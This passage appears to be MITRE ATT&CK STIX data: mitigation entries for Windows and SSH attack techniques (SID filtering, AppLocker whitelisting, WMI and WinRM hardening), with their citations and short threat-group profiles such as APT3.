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            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nConsider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).\n\nSID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.\n\nSID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)\n\n* Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). \n* Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller)\nApplying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.",
            "external_references": [
                {
                    "external_id": "T1178",
                    "url": "https://attack.mitre.org/techniques/T1178",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc794757.aspx",
                    "description": "Microsoft. (n.d.). Configuring SID Filter Quarantining on External Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft SID Filtering Quarantining Jan 2009"
                },
                {
                    "url": "https://technet.microsoft.com/library/cc835085.aspx",
                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Netdom Trust Sept 2012"
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                    "url": "https://technet.microsoft.com/library/cc755321.aspx",
                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
                    "source_name": "Microsoft Trust Considerations Nov 2014"
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                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
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            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nConsider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nRestrict storage and execution of SIP DLLs to protected directories, such as C:\\Windows, rather than user directories.\n\nEnable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.",
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                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
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            "name": "SSH Hijacking Mitigation",
            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
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                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent",
                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
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            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
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                    "url": "https://technet.microsoft.com/library/jj852168.aspx",
                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
                    "source_name": "TechNet Server Operator Scheduled Task"
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                    "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Template Injection Mitigation",
            "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)",
            "external_references": [
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                    "external_id": "T1221",
                    "url": "https://attack.mitre.org/techniques/T1221",
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                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "source_name": "Anomali Template Injection MAR 2018"
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                    "url": "https://attack.mitre.org/techniques/T1072",
                    "source_name": "mitre-attack"
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            "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
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            "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/techniques/T1099",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Trap Mitigation",
            "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.",
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                    "url": "https://attack.mitre.org/techniques/T1154",
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            "name": "Trusted Developer Utilities Mitigation",
            "description": "MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe may not be necessary within a given environment and should be removed if not used.\n\nUse application whitelisting configured to block execution of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe if they are not required for a given system or network to prevent potential misuse by adversaries. (Citation: Microsoft GitHub Device Guard CI Policies) (Citation: Exploit Monday Mitigate Device Guard Bypases) (Citation: GitHub mattifestation DeviceGuardBypass) (Citation: SubTee MSBuild)",
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                    "url": "https://attack.mitre.org/techniques/T1127",
                    "source_name": "mitre-attack"
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                {
                    "description": "[ Smith, C. (2016, September 13). Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations. Retrieved September 13, 2016.",
                    "source_name": "SubTee MSBuild"
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                {
                    "url": "http://www.exploit-monday.com/2016/09/using-device-guard-to-mitigate-against.html",
                    "description": "Graeber, M. (2016, September 8). Using Device Guard to Mitigate Against Device Guard Bypasses. Retrieved September 13, 2016.",
                    "source_name": "Exploit Monday Mitigate Device Guard Bypases"
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                    "url": "https://github.com/mattifestation/DeviceGuardBypassMitigationRules",
                    "description": "Graeber, M. (2016, November 13). DeviceGuardBypassMitigationRules. Retrieved November 30, 2016.",
                    "source_name": "GitHub mattifestation DeviceGuardBypass"
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                {
                    "url": "https://github.com/Microsoft/windows-itpro-docs/blob/master/windows/device-security/device-guard/deploy-code-integrity-policies-steps.md",
                    "description": "Microsoft. (2017, June 16). Deploy code integrity policies: steps. Retrieved June 28, 2017.",
                    "source_name": "Microsoft GitHub Device Guard CI Policies"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trusted Relationship Mitigation",
            "description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
            "external_references": [
                {
                    "external_id": "T1199",
                    "url": "https://attack.mitre.org/techniques/T1199",
                    "source_name": "mitre-attack"
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            "name": "Two-Factor Authentication Interception Mitigation",
            "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/techniques/T1111",
                    "source_name": "mitre-attack"
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Uncommonly Used Port Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/techniques/T1065",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
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            "name": "User Execution Mitigation",
            "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events. Application whitelisting may be able to prevent the running of executables masquerading as other files.\n\nIf a link is being visited by a user, block unknown or unused files in transit by default that should not be downloaded or by policy from suspicious sites as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some download scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious files in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nIf a link is being visited by a user, network intrusion prevention systems and systems designed to scan and remove malicious downloads can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct files in a way to avoid these systems.",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1204",
                    "source_name": "mitre-attack"
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            "name": "Valid Accounts Mitigation",
            "description": "Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access). Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege)",
            "external_references": [
                {
                    "external_id": "T1078",
                    "url": "https://attack.mitre.org/techniques/T1078",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487450.aspx",
                    "description": "Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.",
                    "source_name": "TechNet Least Privilege"
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                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
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            "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1125",
                    "url": "https://attack.mitre.org/techniques/T1125",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/techniques/T1102",
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                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation of Vulnerability](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
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                    "url": "https://attack.mitre.org/techniques/T1100",
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                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
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            "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/techniques/T1077",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "x_mitre_domains": [
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            "name": "Windows Management Instrumentation Event Subscription Mitigation",
            "description": "Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/techniques/T1084",
                    "source_name": "mitre-attack"
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                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
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            "name": "Windows Management Instrumentation Mitigation",
            "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
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                    "external_id": "T1047",
                    "url": "https://attack.mitre.org/techniques/T1047",
                    "source_name": "mitre-attack"
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                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
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            "name": "Windows Remote Management Mitigation",
            "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
            "external_references": [
                {
                    "external_id": "T1028",
                    "url": "https://attack.mitre.org/techniques/T1028",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "source_name": "NSA Spotting"
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            "description": "Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.\n\nIdentify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
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                    "url": "https://attack.mitre.org/techniques/T1004",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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            "name": "XSL Script Processing Mitigation",
            "description": "[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and/or msxsl.exe may or may not be used within a given environment. Disabling WMI may cause system instability and should be evaluated to assess the impact to a network. If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.",
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                    "description": "(Citation: Mandiant APT1)",
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                {
                    "description": "(Citation: Mandiant APT1)",
                    "source_name": "Comment Group"
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                {
                    "description": "(Citation: CrowdStrike Putter Panda)",
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                    "source_name": "Crowdstrike DNC June 2016"
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                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "source_name": "GRIZZLY STEPPE JAR"
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            "aliases": [
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                "The Dukes",
                "Cozy Bear",
                "CozyDuke"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "name": "APT3",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nAPT3 Adversary Emulation Plan - (Citation: APT3 Adversary Emulation Plan)",
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                    "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)",
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                    "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)",
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                    "description": "(Citation: PWC Pirpi Scanbox)",
                    "source_name": "Pirpi"
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                {
                    "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)",
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                {
                    "description": "(Citation: Symantec Buckeye)",
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                {
                    "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)",
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                {
                    "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html",
                    "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
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                    "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html",
                    "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.",
                    "source_name": "PWC Pirpi Scanbox"
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                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
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                {
                    "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/",
